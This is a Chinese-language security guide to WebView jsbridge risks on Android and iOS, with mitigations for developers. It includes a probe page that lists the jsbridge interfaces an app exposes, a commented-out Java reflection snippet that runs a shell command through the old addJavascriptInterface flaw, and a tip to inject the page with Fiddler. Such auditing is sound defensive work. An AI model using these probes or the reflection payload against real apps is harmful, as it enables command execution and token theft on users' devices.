一、Android webview
1.1 Android4.2版本之前WebView.addJavascriptInterface存在反射调用执行任意命令漏洞。
要利用成功,首先需要Android版本低于4.2(相当少,设置minSdkVersion为17可避免运行在低版本机器),然后该webview能打开恶意网页(扫码、url scheme、动态内容,均有可能产生站外链接,但一般app不会打开站外链接)
Android版本低于4.2时webview不能添加jsbridge(JavascriptInterface),且需要删除系统级三个接口:
removeJavascriptInterface("searchBoxJavaBridge_")
removeJavascriptInterface("accessibility")
removeJavascriptInterface("accessibilityTraversal")
可在重载shouldoverrideurlloading,onalert,onprompt等函数,实现类似的jsbridge效果
4.2版本以后必须加上@JavascriptInterface注解,才能被js调用
1.2 webview开放的jsbridge可以获取登录token、下载app等敏感操作
有些开发者觉得JavascriptInterface很好用,很适合app h5化(hybrid)。所以开放大量的jsbridge方法,且不限制调用来源。
若通过app扫码可以打开站外链接,则站外恶意页面可以轻易读取到用户登录token。(站外页面可以发现所有webview开放的jsbridge,后面介绍)
开发者应使用白名单限制webview可以加载哪些域下的页面,webview获取当前页面url有两种方式webView.getOriginalUrl()和webView.getUrl(),使用后一种较安全
二、IOS webview
IOS webview没有反射调用风险,但存在开放未作限制的jsbridge风险
IOS有两种webview,UIWebView(较旧)和WKWebview,jsbridge调用方式分别为
window.OCModel['jsbridge'](shareObj)和window.webkit.messageHandlers.jsbridge.postMessage(data)
三、发现所有webview开放jsbridge
3.1 保存如下代码到服务器(android,ios均适用)
<meta charset="UTF-8">
<title>webview jsbridge检测</title>
<script type="text/javascript">
// function getContents(inputStream)
// {
// var contents = "";
// var b = inputStream.read();
// while(b != -1) {
// var bString = String.fromCharCode(b);
// contents += bString;
// contents += "\n"
// b = inputStream.read();
// }
// return contents;
// }
function check() {
var origin = 'caches,localStorage,sessionStorage,webkitStorageInfo,indexedDB,webkitIndexedDB,ondeviceorientationabsolute,ondeviceorientation,ondevicemotion,crypto,stop,open,alert,confirm,prompt,print,requestAnimationFrame,cancelAnimationFrame,requestIdleCallback,cancelIdleCallback,captureEvents,releaseEvents,getComputedStyle,matchMedia,moveTo,moveBy,resizeTo,resizeBy,getSelection,postMessage,find,blur,focus,getMatchedCSSRules,close,webkitRequestAnimationFrame,webkitCancelAnimationFrame,ontouchstart,webkitCancelRequestAnimationFrame,ontouchmove,ontouchend,ontouchcancel,btoa,onpointerup,atob,onpointerover,setTimeout,onpointerout,onpointermove,clearTimeout,onpointerleave,onpointerenter,onpointerdown,setInterval,onpointercancel,clearInterval,createImageBitmap,onorientationchange,scroll,orientation,scrollTo,scrollBy,customElements,onauxclick,performance,fetch,onunload,onunhandledrejection,console,onstorage,getContents,onrejectionhandled,onpopstate,check,onpageshow,onpagehide,ononline,onoffline,onmessage,onlanguagechange,onhashchange,onbeforeunload,onwaiting,onvolumechange,ontoggle,ontimeupdate,onsuspend,onsubmit,onstalled,onshow,onselect,onseeking,onseeked,onscroll,onresize,onreset,onratechange,onprogress,onplaying,onplay,onpause,onmousewheel,onmouseup,onmouseover,onmouseout,onmousemove,onmouseleave,onmouseenter,onmousedown,onloadstart,onloadedmetadata,onloadeddata,onload,onkeyup,onkeypress,onkeydown,oninvalid,oninput,onfocus,onerror,onended,onemptied,ondurationchange,ondrop,ondragstart,ondragover,ondragleave,ondragenter,ondragend,ondrag,ondblclick,oncuechange,oncontextmenu,onclose,onclick,onchange,oncanplaythrough,oncanplay,oncancel,onblur,onabort,isSecureContext,onwheel,onwebkittransitionend,onwebkitanimationstart,onwebkitanimationiteration,onwebkitanimationend,ontransitionend,onsearch,onanimationstart,onanimationiteration,onanimationend,styleMedia,defaultstatus,defaultStatus,screenTop,screenLeft,clientInformation,devicePixelRatio,outerHeight,outerWidth,screenY,screenX,pageYOffset,scrollY,pageXOffset,scrollX,innerHeight,innerWidth,screen,external,applicationCache,navigator,frameElement,parent,opener,top,length,frames,closed,status,toolbar,statusbar,scrollbars,personalbar,menubar,locationbar,history,location,name,document,self,window,TEMPORARY,PERSISTENT,addEventListener,removeEventListener,dispatchEvent';
var u = navigator.userAgent;
var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1;
if(!isAndroid){
document.write('IOS:<br>');
if(window.OCModel == undefined){
alert('no uiwebview')
}else{
for (var o in window.OCModel) {
document.write(o+':<br>');
}
}
if(window.webkit == undefined){
alert('no wkwebview')
}else{
for (var o in window.webkit.messageHandlers) {
document.write(o+':<br>');
}
}
return;
}
for (var obj in window){
if(origin.indexOf(obj)<0){
document.write(obj+':<br>');
for (var o in window[obj]) {
document.write(' '+o+'<br>');
}
}
}
// document.write('<br>dangerous:<');
// try {
// if ("getClass" in window[obj]) {
// alert(obj);
// try{
// window[obj].getClass();
// document.write('<b>'+obj+'</b><br>');
// var p = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(["id"]);
// document.write(getContents(p.getInputStream())+'<br>');
// }catch(e){
// }
// }
// } catch(e) {
// }
}
check();
</script>
3.2 迫使APP加载此页面
若没有扫码方式、且没有其他明显方式打开页面,可尝试通过fiddler工具的自动响应功能,修改app加载的html文档,将上述代码响应给app webview。然后就可以发现所有开放的jsbridge了